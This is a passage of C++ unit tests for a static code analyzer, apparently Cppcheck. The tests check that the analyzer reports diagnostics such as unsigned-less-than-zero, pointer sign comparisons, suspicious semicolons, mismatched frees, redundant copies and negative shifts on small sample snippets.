[unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) 